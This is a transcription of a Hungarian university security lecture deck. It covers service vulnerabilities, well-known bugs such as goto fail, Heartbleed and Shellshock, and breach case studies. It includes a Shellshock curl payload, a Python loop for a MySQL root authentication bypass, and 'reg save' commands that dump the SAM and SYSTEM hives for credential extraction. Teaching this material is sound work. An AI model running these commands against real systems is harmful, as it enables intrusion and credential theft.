Sérülékenység elemzés
Transcription
Sérülékenység elemzés
Sérülékenység elemzés Spala Ferenc Deloitte Zrt. ELTE IK – 2016 Bemutatkozás ELTE ProgTervMat (2008) Senior Manager @ Deloitte Programbizottság vezető @ Hacktivity spala.ferenc @ {gmail, facebook} FerencSpala @ Twitter securityminutes.com Fogalmak Hacker/Cracker Flame! Fehér/Fekete/Szürke kalapos hacker Média kompatibilitás RULZ! Anonymous =? Hackerek Flame2 Akkor ki a hacker? „A hacker is someone who thinks outside the box. It's someone who discards conventional wisdom, and does something else instead. It's someone who looks at the edge and wonders what's beyond. It's someone who sees a set of rules and wonders what happens if you don't follow them. A hacker is someone who experiments with the limitations of systems for intellectual curiosity.” (Bruce Schneier) Hakcer =? Geek Olvassuk el mégegyszer! Látsz ott olyat, hogy számítógép, vírus, hálózat, feltörés, jelszó? Nem attól lesz hacker valaki, mert fel tud törni valamit! Pláne nem attól, hogy beáll anon-nak! ! g n i k c a h % s i % s i Th Hakcer =? Geek Matematikusok fosztottak ki egy amerikai lottót Index (2011.08.03) … pár matematikus és programozó az MIT-ról összeállt és elkezdett számolgatni… Nem, nem csaltak, nem törtek fel semmit, gondolkodtak és rájöttek hol van a kiskapu Ez a hackelés! Tanácsadó vs. Hacker Van metszet! Tanácsadó =? Öltönyös hacker Tanácsadó =? Hacker++ Tanácsadó =? Hacker + kommunikáció Mindig tudd mire lősz! Érdekességek FTP (tcp/21) Titkosítatlan Anonymous login Bárki számára írható/olvasható könyvtárak Backdoor Buffer overflow Brute force On Sunday, the 28th of November 2010 around 20:00 UTC the main distribution server of the ProFTPD project was compromised. The attackers most likely used an unpatched security issue in the FTP daemon to gain access to the server and used their privileges to replace the source files for ProFTPD 1.3.3c with a version which contained a backdoor. SSH (tcp/22) PermitRootLogin SSHv1 támogatás Buffer overflow Brute force F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root. Telnet (tcp/23) Titkosítatlan Brute force Buffer overflow SMTP (tcp/25) Titkosítatlan Brute force Buffer overflow User enumeration (VRFY, EXPN, REPLY-TO) E-mail relaying A remote code execution flaw in Exim has been discovered by an internal audit performed by the Exim developers[2]. This vulnerability may lead to arbitrary code execution with the privileges of the user executing the Exim daemon. In some circumstances this may lead to privilege escalation. DNS (udp/53, tcp/53) Titkosítatlan Anonymous zóna transzfer DNS cache poisoning Dan Kaminsky-féle hiba http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html Buffer overflow HTTP (tcp/80), HTTPS (tcp/443) Titkosítatlan (HTTP) HTTP methods (TRACE, PUT, DELETE) Directory listing HTTP Parameter Splitting Buffer overflow WebDAV (cadaver) + Tomcat, Jboss, WebSphere, GlassFish,… + Webes alkalmazások hibái! You don't really need an knowledge of C, or even of programming, to understand the error here. SSL - Apple (iOS) The programmer is supposed to calculate a cryptographic checksum of three data items - the three calls to SSLHashSHA1.update() - and then to call the allimportant function sslRawVerify(). If sslRawVerify() succeeds, then err ends up with the value zero, which means "no error", and that's what the SSLVerifySignedServerKeyExchange function returns to say, "All good." But in the middle of this code fragment, you can see that the programmer has accidentally (no conspiracy theories, please!) repeated the line goto fail;. The first goto fail happens if the if statement succeeds, i.e. if there has been a problem and therefore err is nonzero. This causes an immediate "bail with error," and the entire TLS connection fails. But because of the pecadilloes of C, the second goto fail, which shouldn't be there, always happens if the first one doesn't, i.e. if err is zero and there is actually no error to report. The result is that the code leaps over the vital call to sslRawVerify(), and exits the function. This causes an immediate "exit and report success", and the TLS connection succeeds, even though the verification process hasn't actually taken place. https://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/ SSL (Heartbleed) - OpenSSL The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. SSL (Heartbleed) - OpenSSL ShellShock Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) is a vulnerability in GNU's bash shell that gives attackers access to run remote commands on a vulnerable system. This security vulnerability affects versions 1.14 (released in 1994) to the most recent version 4.3 according to NVD. curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/ Oracle (TCP/1521) Titkosítatlan (is lehet) Gyenge “SYS”/”SYSTEM” jelszó Jogosultságok TNS poisoning “…was fixed in future releases of the product." TNS POISONING c ne n Co t Listener nd e es t R c ne n Co t p ce Ac Victim Authentication Data tnspoison TNS POISONING n n o C t c e Listener t c e dir Victim Register Register Re tnspoison Adatbázisok - MySQL #!/usr/bin/python # This has to be the easiest "exploit" ever. Seriously. # Embarassed to submit this a little. # Title: MySQL Remote Root Authentication Bypass # Written by: Dave Kennedy (ReL1K) # http://www.secmaniac.com# # Original advisory here: seclists.org/oss-sec/2012/q2/493 import subprocess ipaddr = raw_input("Enter the IP address of the mysql server: ") while 1: subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait() HP Data Protector Hibajavítás PHP módra CVE-2012-0830: The php_register_variable_ex function in php_variables.c in PHP 5.3.9 allows remote attackers to execute arbitrary code via a request containing a large number of variables, related to improper handling of array variables. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-4885. Egy példa a múltból - Custom SSO Egy példa a múltból - Custom SSO A kliens (böngésző) eldöntheti, hogy ki az authentikációs szerver?!?! 1. Kitalálod mi az authentikációs protokol 2. Csinálsz egy saját “szervert” 3. “Beállítod” a saját szervered az “authCheckSiteServer” paraméter értékének 4. $$ Profit $$ SNMP 2 Domain Admin SNMP public SNMP public Linux post exploitation Linux post exploitation Login - Dump - GOTO 1 Password dump reg save HKLM\security security.reg reg save HKLM\system system.reg reg save HKLM\sam sam.reg + secretsdump.py Metasploit / incognito Metasploit / mimkatz Login - Dump - GOTO 1 Érdekességek - Adatlopás 383 cég 12 országban Átlagosan 4M USD veszteség Átlagosan egy ellopott rekord 158 USD-be került a cégeknek Lehet biztosítást kötni adatlopásra! Az adatlopások/szivárgások 48%-át okozta rosszindulatú támadás „For our consolidated sample of 350 companies, we estimate a mean time to identify at 206 days with a range of 20 to 582 days” Teljes jelentés: http://www-03.ibm.com/security/data-breach/ mail.ru hack A legnagyobb orosz „Internet cég” – email, portálok, közösségi média, kereső, chat, cloud storage, online játék 25 millió rekordot loptak el 2016 augusztusában (felhasználói név, e-mail, jelszó, születési idő) cfire.mail.ru – 13 millió (6 millió jelszót feltörtek <1 hónap alatt) parapa.mail.ru (weboldal) – 5 millió (3 millió jelszót feltörtek <1 hónap alatt) parapa.mail.ru (fórum) – 4 millió (3 millió jelszót feltörtek <1 hónap alatt) tanks.mail.ru – 3 millió (0 jelszót törtek fel) Hogyan jutottak be? • Egy régi vBulletin fórumban találtak SQL injection-t • Publikusan ismert hiba volt Nem tudni ki volt az… AshleyMadison Online társkereső kimondottan olyanoknak, akik félre akarnak lépni – „Life is short. Have an affair.” Valószínűleg az összes felhasználó adataihoz hozzáfértek – 37 millió rekord Az oldal azt állította (a hack előtt), hogy egy egyszer $19 díj ellenében a felhasználó adatait végleg törlik A hack után kiderült, hogy ez nem történt meg • Mellesleg $1.7M bevételük volt ebből a díjból csak 2014-ben Éveken keresztül bent lehettek a hálózatukban 578 millió USD-re perelték a céget Kanadában amiért nem védték/ törölték megfelelően a személyes adatokat Állítólag két öngyilkosság is köthető az adatok kiszivárgáshoz Az oldal felajánlott $500,000 kanadai dollárt nyomravezetői díjat Köszönöm a figyelmet! Spala Ferenc Senior Manager Deloitte Zrt. spala.ferenc @ {gmail, facebook} FerencSpala @ Twitter securityminutes.com Feedback form: http://compalg.inf.elte.hu/~attila/ Teaching.html